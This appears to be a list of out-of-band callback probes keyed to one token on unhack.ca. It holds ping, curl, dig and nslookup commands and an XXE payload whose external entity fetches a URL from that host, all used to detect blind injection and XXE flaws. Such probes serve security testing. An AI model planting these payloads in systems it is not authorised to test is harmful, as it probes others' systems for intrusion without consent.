$ ping -c1 -p 00c94acb9010a1621217380cf1a81800 unhack.ca
 

$ curl http://unhack.ca/p/c94acb9010a1621217380cf1a818
 

$ dig c94acb9010a1621217380cf1a818 @unhack.ca
 

$ dig c94acb9010a1621217380cf1a818.ns.unhack.ca
 

C:\> nslookup c94acb9010a1621217380cf1a818 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c94acb9010a1621217380cf1a818">]>
    <foo>&xxe;</foo>